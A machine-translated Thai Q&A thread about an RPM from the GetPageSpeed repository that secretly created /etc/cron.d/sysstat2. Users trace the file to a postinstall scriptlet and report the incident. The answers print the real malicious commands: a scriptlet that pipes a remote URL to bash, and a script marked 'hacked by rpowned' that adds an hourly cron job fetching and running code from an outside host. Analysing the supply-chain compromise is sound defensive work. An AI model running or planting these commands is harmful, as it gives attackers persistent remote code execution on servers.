การติดตั้ง RPM นี้สร้างไฟล์ได้อย่างไร


16

การรันyum install https://extras.getpagespeed.com/redhat/7/noarch/RPMS/getpagespeed-extras-release-7-1.el7.gps.noarch.rpmสร้าง/etc/cron.d/sysstat2แต่ RPM ไม่อนุญาตไฟล์:

# rpm -ql getpagespeed-extras-release
/etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
/etc/yum.repos.d/getpagespeed-extras.repo
# rpm -qf /etc/cron.d/sysstat2
file /etc/cron.d/sysstat2 is not owned by any package

RPM สร้างไฟล์ได้อย่างไรและฉันจะดูว่ามันทำอะไรได้อีก?


4
คนเหล่านี้เป็นเจ้าของ GetPageSpeed ​​และพวกเขาไม่รู้หรือเผยแพร่ RPMs ที่ไม่ดีด้วยตัวเองหรือไม่?
Aaron Copley

1
RPM ที่ฉันติดตั้งจากเว็บไซต์ของพวกเขาเมื่อสามเดือนที่ผ่านมานั้นดี เมื่อวานนี้มีการโพสต์ที่เป็นอันตราย ฉันคิดว่าพวกเขาเป็นเจ้าของและทุกคนที่ใช้ repo ของตนกำลังเป็นเจ้าของ ผู้ประสงค์ร้ายกำลังลงมาจากการอัปเดตยำ ฉันส่งอีเมลและข้อความผ่านแบบฟอร์มติดต่อเรา
ปาสกาล

และมันถูกเซ็นชื่อโดยพวกเขาด้วยเหรอ?
Aaron Copley

1
https://extras.getpagespeed.com/redhat/7/noarch/RPMS/getpagespeed-extras-7-6.el7.gps.noarch.rpmเป็นไฟล์ดั้งเดิมมันยังมีวันที่เก่าใน repo ของพวกเขาและgpgcheck=1ตั้งอยู่ในมัน
ปาสกาล

1
ขอแนะนำให้คุณติดต่อผู้ดูแลเว็บที่ sayitwithagift.com ถึงแม้ว่า YMMV จะตอบสนองแบบไหน ฉันลงเอยด้วยการเป็นผู้ให้บริการโฮสต์ของเว็บไซต์เพื่อติดต่อเกี่ยวกับเซิร์ฟเวอร์อีเมลที่กำหนดค่าผิดพลาดครั้งเดียวเนื่องจากเว็บไซต์ไม่ตอบสนองเอง
Darren

คำตอบ:


18
# rpm -qp --scripts getpagespeed-extras-release-7-1.el7.gps.noarch.rpm
warning: getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: Header V4 RSA/SHA1 Signature, key ID 222b0e83: NOKEY
postinstall scriptlet (using /bin/sh):
curl -s -m 3 https://www.getpagespeed.com/SCM/release-post-install.php 2>/dev/null | bash >/dev/null 2>&1

https://www.getpagespeed.com/SCM/release-post-install.php ประกอบด้วย:

#!/bin/bash
### hacked by rpowned
# bash <(curl -s https://www.some-other.com/load-it.sh) >/dev/null 2>&1
echo '53 * * * * root curl -s https://www.sayitwithagift.com/pwn.php 2>/dev/null | bash >/dev/null 2>&1' >> /etc/cron.d/sysstat2

16

คุณค้นพบสคริปต์ของ rpm ที่เรียกใช้สคริปต์จากอินเทอร์เน็ตและสคริปต์นั้นเปลี่ยนเส้นทางไปยังสิ่งที่อาจเป็นมัลแวร์ แม้ว่าฉันจะไม่ได้รับสิ่งที่บรรจุอยู่ในนั้น

รอบต่อนาทีไม่สามารถติดตามสิ่งที่เกิดขึ้นได้อย่างสมบูรณ์เนื่องจากกำลังเรียกใช้สคริปต์โดยพลการ

gpgcheck จะไม่ช่วยคุณทั้งgetpagespeed-extras-7-6.el7.gps.noarch.rpmและgetpagespeed-extras-release-7-1.el7.gps.noarch.rpmคุณเชื่อมโยงดูเหมือนจะมีลายเซ็นที่ถูกต้อง:

$ gpg --keyid-format long /etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
pub  2048R/0CD60276222B0E83 2017-03-03 GetPageSpeed Builder <info@getpagespeed.com>
sub  2048R/059A9010F4F3567D 2017-03-03
$ rpm -K getpagespeed-extras-*
getpagespeed-extras-7-6.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK
getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK

บ่นกับเจ้าของ repo ว่าแพ็คเกจรันโค้ดโดยพลการจากอินเทอร์เน็ต หากต้องทำเช่นนั้นความปลอดภัยของห่วงโซ่อุปทานซอฟต์แวร์จะต้องดีขึ้น

ดูเหมือนว่าเป็นเรื่องหวาดระแวงในการติดตั้งซอฟต์แวร์ครั้งแรกโดยไม่ใช้อินเทอร์เน็ตหรือตรวจสอบสคริปต์ "ติดตั้งโพสต์" ด้วยตนเอง แต่น่าเสียดายที่เกือบจะจำเป็นถ้าแพคเกจทำเทคนิคที่ไม่เหมาะสมเช่นนี้


เพย์โหลดเป็นงาน cron ที่ดาวน์โหลดและรัน ' sayitwithagift.com/pwn.php ' ทุกชั่วโมง ขณะนี้ไม่มีอะไรที่นั่น แต่สามารถเปลี่ยนแปลงได้ตลอดเวลา การลบ RPM ไม่ได้เป็นการกำจัดส่วนของข้อมูล
Pascal

RPM ดั้งเดิมของพวกเขาไม่มีสคริปต์การติดตั้งภายหลัง เฉพาะรุ่นที่อัปโหลดเมื่อวานนี้ (สมมุติโดยแฮ็กเกอร์)
ปาสกาล

1
ไม่ชัดเจนว่าการเพิ่มจากการเรียกใช้รหัสอินเทอร์เน็ตนั้นเป็นแนวคิดที่ถูกต้องหรือไม่หรือเพิ่มโดยทีมมัลแวร์ สิ่งหลังนั้นยิ่งแย่กว่าเดิมเพราะนั่นหมายถึงกระบวนการเซ็นชื่อและการอัปโหลดนั้นถูกบุกรุก
John Mahowald

1

ฉันมี 5 CLoudLinux / cPanel เซิร์ฟเวอร์ที่เคยใช้ Nginx กับพวกเขาผ่านทาง Engintron แต่ตอนนี้พวกเขาเรียกใช้เว็บเซิร์ฟเวอร์ LiteSpeed ​​แทน ฉันคิดว่า Engintron อาจทิ้ง repos ที่ตั้งไว้แล้วเมื่อมันถูกถอนการติดตั้ง cPanel เรียกใช้การตรวจสอบการอัปเดตทุกคืนและเวลาประมาณเที่ยงคืนเซิร์ฟเวอร์ทั้งหมดของฉันส่งการรายงานอีเมลถึงฉัน:

/bin/sh: -c: line 0: syntax error near unexpected token `('
/bin/sh: -c: line 0: `/bin/bash <(curl -s https://www.sayitwithagift.com/pwn.php) >/dev/null 2>&1'

การค้นหาเว็บไซต์ payload ทำให้ฉันมาที่นี่โดยที่ฉันเห็นว่าในวันเดียวกันคุณมีปัญหาเดียวกัน ดังนั้นเพื่อเพิ่มข้อมูลของฉันไปเอง มี/etc/cron.d/sysstat2ไฟล์เดียวกันในเซิร์ฟเวอร์ของฉันทั้งหมด

ฉันลบไฟล์ลบ repos และใช้แบบฟอร์มการติดต่อที่ GetPageSpeed ​​เพื่อรายงานปัญหา เจ้าของ Repo อาจเป็น AWOL เนื่องจากมีโพสต์ในบล็อกบอกว่าเขาปิด repo ลงเนื่องจากปัญหาด้านสุขภาพ ดังนั้นผู้โจมตีอาจใช้ประโยชน์จากความจริงที่ว่า repo ไม่ได้รับความสนใจหรือพบประตูที่เปิดเพื่อหาช่องโหว่


1
ข้อความเกี่ยวกับการปิดธุรกรรมซื้อคืนถูกโพสต์หลังจากที่เขาได้รับอีเมลของฉันเกี่ยวกับการถูกโจมตี ฉันถามเขาว่าจะเปิด repo /etc/cron.d/sysstat2อีกครั้งและโพสต์แพคเกจการปรับปรุงเพื่อลบ เขาทำเช่นนั้น
ปาสกาล
โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.